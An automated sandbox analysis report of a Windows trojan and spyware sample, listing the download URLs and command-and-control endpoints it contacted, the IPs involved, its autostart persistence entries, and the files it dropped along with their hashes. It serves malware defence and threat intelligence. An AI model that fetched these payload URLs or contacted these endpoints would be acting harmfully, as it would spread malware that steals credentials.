http://147.45.44.104/yuop/66edb89bc4073_crypted.exe#xiny	RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/02/trust/Issueshttp://schemas.xmlsoap.org/ws/2005/05/identity/NoP	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
http://www.winimage.com/zLibDllm_object	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000002.2044194881.0000000004631000.00000004.00000800.00020000.00000000.sdmp	false
https://ipinfo.io/	RegAsm.exe, RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false
http://www.symauth.com/rpa00	kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/	aFBKY19rLrQU72E14du4WCPo.exe, 0000000A.00000000.1787917500.00000000001B2000.00000002.00000001.01000000.0000000A.sdmp	false
http://147.45.44.104/yuop/66eea6336b153_app16540406983468141987.exe#1)	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/yuop/66ed9885d9aee_Day2.exeC:	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	false
https://nerv.com.pe/vsfdhgg15.exeC:	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	true
https://ipinfo.io/https://ipgeolocation.io/::	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe, 00000000.00000002.1509897036.0000000004AB1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe, 00000000.00000002.1509897036.0000000004B1F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false
http://147.45.44.104/yuop/66eea6336b153_app16540406983468141987.exe#1#	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/prog/66e705d09b33c_jack.exek	RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io:443/widget/demo/8.46.123.33FE2	RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	false
http://41.216.188.190:80/api/wp-ping.php	RegAsm.exe, 00000003.00000002.1830248913.000000000146E000.00000004.00000020.00020000.00000000.sdmp	false
https://nerv.com.pe:80/vsfdhgg15.exe	RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp	true
http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	VkcBn13x2kmdo9AMRXP8qT_4.exe, 00000010.00000002.2929361187.0000000000401000.00000020.00000001.01000000.00000010.sdmp	false
http://147.45.44.104/yuop/66eea6336b153_app16540406983468141987.exe#1v	RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/adal_token_cache_serialization	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
https://iplogger.org/	RegAsm.exe, 00000003.00000002.1830248913.0000000001458000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false
https://bitbucket.org/kcatelin/jameson/downloads/easyfirewall.exexe	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/msal-net-iwa	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
https://aka.ms/msal-net-up)	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
https://ipgeolocation.io/	RegAsm.exe	false
http://41.216.188.190/api/wp-ping.php	RegAsm.exe, 00000003.00000002.1830248913.000000000142A000.00000004.00000020.00020000.00000000.sdmp	false
https://nerv.com.pe:80/vfsdgdf.exe	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	true
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
http://41.216.188.190/api/wp-admin.phpx	RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/0	RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/msal-net-enable-keychain-groups	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
https://aka.ms/msal-net-system-browsers	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
https://nerv.com.pe/vsfdhgg15.exen	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	true
http://147.45.44.104/yuop/66ed9885d9aee_Day2.exexe	RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false
https://api64.ipify.org/?format=json=	RegAsm.exe, 00000003.00000002.1830248913.000000000142A000.00000004.00000020.00020000.00000000.sdmp	false
https://remote-app-switcher.prod-east.	RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	false
https://login.microsoftonline.com/common/	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
http://147.45.44.104/yuop/66ee79315857f_setup33333.exe#lylac	RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false
https://nerv.com.pe/vsfdhgg15.exea	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	true
https://aka.ms/msal-interactive-android	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
https://aka.ms/msal-brokers.	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
https://aka.ms/msal-net-2-released)	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
http://147.45.44.104/yuop/66ee79315857f_setup33333.exe#lylak	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	false
http://41.216.188.190/z	RegAsm.exe, 00000003.00000002.1830248913.0000000001458000.00000004.00000020.00020000.00000000.sdmp	false
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	false
https://nerv.com.pe/vsfdhgg15.exeU	RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	true
https://login.microsoftonline.com/common	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false
https://aka.ms/net-cache-persistence-errors.	XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.241.61.218	nerv.com.pe	United States	46606	UNIFIEDLAYER-AS-1US	false
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
52.217.131.81	s3-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	false
176.113.115.33	unknown	Russian Federation	49505	SELECTELRU	false
116.203.165.127	unknown	Germany	24940	HETZNER-ASDE	true
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
45.202.35.101	unknown	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	true
176.111.174.109	unknown	Russian Federation	201305	WILWAWPL	false
103.130.147.211	unknown	Turkey	63859	MYREPUBLIC-AS-IDPTEkaMasRepublikID	true
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
104.26.2.46	iplogger.org	United States	13335	CLOUDFLARENETUS	false
41.216.188.190	unknown	South Africa	40676	AS40676US	false
104.237.62.213	api64.ipify.org	United States	18450	WEBNXUS	false
23.197.127.21	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	true
5.53.124.195	tventyvf20pt.top	Russian Federation	49505	SELECTELRU	true
185.166.143.50	bitbucket.org	Germany	16509	AMAZON-02US	false
92.119.114.169	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1514924
Start date and time:	2024-09-21 13:32:20 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@96/142@11/18
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 40.126.32.136, 40.126.32.133, 40.126.32.134, 20.190.160.14, 20.190.160.17, 40.126.32.72, 40.126.32.140, 20.190.160.20, 184.28.90.27, 20.42.73.29, 13.89.179.12
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, fs.microsoft.com, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, achievenmtynwjq.shop, ctldl.windowsupdate.com, pool.hashvault.pro, sentistivowmi.shop, onedsblobprdcus17.centralus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, chickerkuso.shop, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, umwatson.events.data.microsoft.com, prod.fs.microsoft.com.akadns.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target aFBKY19rLrQU72E14du4WCPo.exe, PID 6948 because it is empty
Execution Graph export aborted for target kFXFCWzZNovbPAcE4V3M4DAO.exe, PID 5828 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:33:31	API Interceptor	1x Sleep call for process: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe modified
07:34:00	API Interceptor	14x Sleep call for process: RegAsm.exe modified
07:34:01	API Interceptor	1x Sleep call for process: aFBKY19rLrQU72E14du4WCPo.exe modified
07:34:02	API Interceptor	1x Sleep call for process: XO9lsdL5g6aUibu31TDcoBrI.exe modified
07:34:11	API Interceptor	2x Sleep call for process: svchost.exe modified
07:34:12	API Interceptor	492x Sleep call for process: explorer.exe modified
07:34:13	API Interceptor	3x Sleep call for process: kFXFCWzZNovbPAcE4V3M4DAO.exe modified
07:34:21	API Interceptor	1x Sleep call for process: _U2YDEzm5f5t9soM_Qc1Hc4U.exe modified
07:34:30	API Interceptor	2x Sleep call for process: WerFault.exe modified
07:34:52	API Interceptor	1x Sleep call for process: jewkkwnf.exe modified
12:34:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6 C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe
12:34:11	Task Scheduler	Run new task: jewkkwnf HR path: C:\ProgramData\jewkkwnf\jewkkwnf.exe
12:34:14	Task Scheduler	Run new task: jewkkwnf LG path: C:\ProgramData\jewkkwnf\jewkkwnf.exe
12:34:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6 C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe
12:34:53	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk
12:35:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Dell C:\Users\user\Pictures\DreamifyCorp\ClientSecureUpdater.exe
12:35:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Dell C:\Users\user\Pictures\DreamifyCorp\ClientSecureUpdater.exe
12:36:04	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03862698848467049
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxAserRNbekZ3DmVxL1HI:58r54w0VW3xWmfRFj381
MD5:	507BA3B63F5856A191688A30D7E2A93A
SHA1:	1B799649D965FF1562753A9EB9B04AC83E5D7C57
SHA-256:	10A34BE61CD43716879A320800A262D0397EA3A8596711BDAE3789B08CB38EF8
SHA-512:	7750584100A725964CAE3A95EC15116CDFE02DE94EFE545AA84933D6002C767F6D6AF9D339F257ED80BDAD233DBF3A1041AB98AB4BF8B6427B5958C66DCEB55F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJDGCAEBFIIECAKFHIJEGIJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKKKFCFIIJJKKFHIEHJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9526
Entropy (8bit):	5.515924904533179
Encrypted:	false
SSDEEP:	192:efniR4oYbBp6Sp0pUhUxaXd6Y4nysZM2WklbBNBw8DUSl:hejGpCUvY4ysn7tpwx0
MD5:	4580799F1DC5720A7EC1766400E98740
SHA1:	92FD30F47EC545245B934EA492B3C64D5E609AA9
SHA-256:	57F457D69933E9E8A98C32A05EEE96171419977D45AFFA674A9761556656B9FA
SHA-512:	C0787F6584D1D26EBFD5AE59F32046CF1FF5AD1BEB1443F2FE93EB89EFA2F216CBC98E101BA3E38A2837ED9411A9DE1370E29ED96E83D8096547E53FEE964567
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "d3d72102-142d-47cc-a7b7-5b20541f2540");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696496527);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696496528);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DGIJDAFCFHIEHJJKEHJKKJKFCG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8467337400211222
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBOiICtj+tCXq4E1:TeAFawNLopFgU10XJBO+tq0qj
MD5:	7A03CC0EAD0AEFF210C3E60823AAA5EC
SHA1:	8B9C99FBEC440663C71F10F70B9386C68CF0EC1D
SHA-256:	D19C0286BB552C8F121A87A8B483E4997F846F0EB586F6BAF269C352678356CF
SHA-512:	8BF799B9351399523796198E1B1160AD81E1C153148D24505AAD28143698DAF77665C26BBFB24650EB150AF8D92DD1623AE8ECB62D29C93EC3E4BB206E0C83DD
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBKKKEGI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221538113908904
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	C1AE02DC8BFF5DD65491BF71C0B740A7
SHA1:	6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
SHA-256:	CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
SHA-512:	01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGCBAFCFIJ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	363424
Entropy (8bit):	7.987313898927024
Encrypted:	false
SSDEEP:	6144:wF3qqFa1f0K9FDe8RGO93XozFt6tZjEZewycRZEelJYHq2bKEO:m3J6FDe8YOWz2tZwZrZEeDFEO
MD5:	384A847AD2833788FA253433FD2EEA8D
SHA1:	1984D8788FE40BD95A90D7D4E9DEA6C4E4FF6201
SHA-256:	DE30491736617249B3E80FC9436ECF0F7675B3C3014509398C3DB7298F93336A
SHA-512:	BCDBD44837629D8881C29A7C7F6A2D4E98B52FBC49952BAD2C89340A1DEE18FAC9987AAA8A3D91905A1F88A216C0E2501201A8665F3DF7D5F627FF71A2418AAC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 79% Antivirus: Virustotal, Detection: 70%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..f.................2..........~Q... ...`....@.. ....................................`.................................,Q..O....`..............xe..(&...........O............................................... ............... ..H............text....1... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............:..............@..B................`Q......H........A..............................................................VeO..z..?Z..#...b..t.H.xK.......+...,...57....>1.G2.%j.......u.-.E.mR.U....-6W.4.bW...5.>B...].. ..s..f.'.(o...}..k.P..q>j...][T..............s.p}HT-o8.....^.....p.....K7?.n.tEK>^.8.p.....+.bW...{:S...j...Z......z.d2.i....65.u.\|.vUy1....#6......P...}.$..K..\X....$..Z.D....X..q.K.^..I.>.L.j.v...-H.-.K...E.G...)r..C.,y-^6............~MJ).'....K...."p.5...9...A..0..sCU..=.......FYy...

C:\ProgramData\FIDGDAKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1371207751183456
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cF/I4:MnlyfnGtxnfVuSVumEHFw4
MD5:	643AC1E34BE0FDE5FA0CD279E476DF3A
SHA1:	241B9EA323D640B82E8085803CBE3F61FEEA458F
SHA-256:	C44B4270F1F0B4FCB13533D2FC023443DBAFB24D355286C6AE1493DBCD96B7E2
SHA-512:	73D0F938535D93CC962EF752B1544FA8A2E4194C8979FB4778D0B84B70D32C6EDF8CC8559C9CEFBAF9681FB3BC1D345086AFCA4CA5FC8FB88100E48679AB1EF8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIIJEBAECGCBKECAAAEB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCFBAFIDAECAKFHJDBAFIEBKKK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGIECGIEBKJJJJKEGHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGD\AKFCFB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221538113908904
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	C1AE02DC8BFF5DD65491BF71C0B740A7
SHA1:	6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
SHA-256:	CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
SHA-512:	01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJEBAAECBGD\DBFHCG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1371207751183456
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cF/I4:MnlyfnGtxnfVuSVumEHFw4
MD5:	643AC1E34BE0FDE5FA0CD279E476DF3A
SHA1:	241B9EA323D640B82E8085803CBE3F61FEEA458F
SHA-256:	C44B4270F1F0B4FCB13533D2FC023443DBAFB24D355286C6AE1493DBCD96B7E2
